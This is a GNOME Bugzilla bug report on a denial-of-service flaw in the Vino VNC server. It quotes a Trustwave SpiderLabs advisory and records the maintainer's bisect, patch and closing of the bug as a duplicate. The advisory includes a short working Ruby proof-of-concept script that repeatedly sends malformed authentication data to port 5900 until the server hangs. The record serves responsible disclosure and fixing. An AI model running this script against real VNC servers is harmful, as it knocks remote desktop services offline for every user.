After an evaluation, GNOME has moved from Bugzilla to GitLab. Learn more about GitLab.
No new issues can be reported in GNOME Bugzilla anymore.
To report an issue in a GNOME project, go to GNOME GitLab.
Do not go to GNOME Gitlab for: Bluefish, Doxygen, GnuCash, GStreamer, java-gnome, LDTP, NetworkManager, Tomboy.
Bug 707905 - Denial of service when malformed data sent during authentication
Denial of service when malformed data sent during authentication
Status: RESOLVED DUPLICATE of bug 641811
Product: vino
Classification: Applications
Component: Server
3.4.x
Other Linux
: Normal critical
: ---
Assigned To: Vino Maintainer(s)
Vino Maintainer(s)
Depends on:
Blocks:
 
 
Reported: 2013-09-11 11:09 UTC by David King
Modified: 2013-09-12 09:38 UTC
See Also:
GNOME target: ---
GNOME version: ---


Attachments
reject new clients if in the deferred state (1.19 KB, patch)
2013-09-11 16:19 UTC, David King
committed Details | Review

Description David King 2013-09-11 11:09:19 UTC
From an email sent to me (amigadave@amigadave.com):

“
Trustwave SpiderLabs Security Advisory:
Persistent Denial of Service Vulnerability in Vino VNC Server

Published: Currently unpublished 
Version: 1.0

Vendor: The GNOME Project (https://wiki.gnome.org/Vino)
Product: Vino VNC Server
Version affected: 3.4.2-0ubuntu1.2 (and likely other versions)

Product description:
Vino is the GNOME desktop sharing server.

Finding 1: Remote Persistent Denial of Service Vulnerability
Credit: Jonathan Claudius of Trustwave SpiderLabs
CWE: CWE-20

The Vino VNC server, which is also the default VNC server in Ubuntu, is vulnerable to a persistent denial of service vulnerability.  The vulnerability is triggered when a VNC client, who claims to only support protocol version 3.3, sends malformed data during the authentication selection stage of the authentication process.

If this process is repeated more than just a couple times, it causes Vino VNC server to fall into what appears to be an infinite loop, as seen in the service logs via repeating "Authentication deferred - ignoring client message" messages.  This not only affects the connecting client IP, but affects service level availability for all potential VNC clients and the service fails to handle any new VNC client requests regardless of client IP.

The Vino VNC server must be restarted in order to restore VNC service availability.

Additionally, after the failure condition has occurred, the log file (~/.xsession-errors) grows quickly to 1GB within 4min in testing.  If left unattended in the failure state, a system wide denial of service due to file system consumption is possible.

Example:

The following Proof of Concept (PoC) connects to the Vino VNC Server, sends a client banner, and then sends a malformed payload of repeating A's.  After the first 3-4 payloads are sent, the port will remain open, but the service will fail to handle any new client requests from any client on any IP.


## vino-vnc-dos-poc.rb ####

require 'socket'
require 'timeout'

# Just a couple payloads in a row should be enough to send Vino into an 
# (authentication deferred - ignoring client message loop) and spoil the party
client_banners = []
10.times {client_banners << "RFB 003.003"}

client_banners.each do |client_banner|
  puts "Testing " + client_banner

  begin

    Timeout::timeout(5) {
      sock = TCPSocket.open("a.b.c.d", 5900)
      puts "Waiting for Server Banner..."

      banner = sock.gets()
      puts "Got Server Banner: " + banner
      sock.write(client_banner + "\n")
      
      payload = "A" * 16
      puts "Sending Payload: " + payload
      sock.write(payload)

      sock.close
    }

  rescue Timeout::Error
    puts "Operations are timing out, you may have DoS'd the service"
  rescue Errno::ECONNREFUSED
    puts "Cannot connect to service, this is likely an IP/Port mismatch"
    exit
  end

end

############################

References
1. https://wiki.gnome.org/Vino


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.
”
Comment 1 David King 2013-09-11 16:19:17 UTC
Created attachment 254715 [details] [review]
reject new clients if in the deferred state

This bug seems related to bug 641811 and bug 693608.

I tried to reproduce, using the provided reproducer script, but I could not do so with current git master. I did a git (reverse) bisect and arrived at the following innocuous-looking commit which worked around the problem:

https://git.gnome.org/browse/vino/commit/?id=f37ca213fda500ea2f93d005e945644c2f2e5721﷒0﷓
Author: David King <amigadave@amigadave.com>
Date:   Sat Oct 20 08:51:44 2012 +0100

    Update GSettings schema descriptions and summaries
    
    Fix some problems with the user-visible strings from the GSettings
    schema. Fixes bug 683387 and bug 686500.

In that commit, I changed the default of the “require-encryption” property to “true”, and in so doing avoided the denial of service. This change was first released in version 3.7.3, and is in the current stable 3.8.0 and 3.8.1 releases.

A fix for the problem is in the attached patch, which closes new client connection if that client is already marked as being in the deferred state. I tested this with git master and the “require-encryption” option set to false, and the new default of true, and it seems to work as expected.
Comment 2 David King 2013-09-11 16:39:26 UTC
Given that bug 693608 is the same underlying issue (and even mentions DoS in the title) I do not think there is any reason to keep this bug and patch private, so I plan to push the patch to master and inform distributor-list@gnome.org tomorrow.
Comment 3 David King 2013-09-12 09:34:37 UTC

*** This bug has been marked as a duplicate of bug 641811 ***